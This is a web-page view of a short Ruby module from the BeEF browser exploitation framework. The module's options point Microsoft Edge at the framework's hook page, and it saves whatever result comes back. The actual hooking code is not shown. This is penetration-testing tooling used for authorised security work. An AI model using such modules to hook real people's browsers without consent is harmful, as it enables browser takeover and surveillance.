Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/host/hook_microsoft_edge/module.rb
1154 views
1
#
2
# Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
# Browser Exploitation Framework (BeEF) - https://beefproject.com
4
# See the file 'doc/COPYING' for copying permission
5
#
6
7
class Hook_microsoft_edge < BeEF::Core::Command
8
def self.options
9
configuration = BeEF::Core::Configuration.instance
10
hook_uri = "#{configuration.beef_url_str}/demos/plain.html"
11
12
[
13
{ 'name' => 'url', 'ui_label' => 'URL', 'type' => 'text', 'width' => '400px', 'value' => hook_uri }
14
]
15
end
16
17
def post_execute
18
content = {}
19
content['result'] = @datastore['result']
20
save content
21
end
22
end
23
24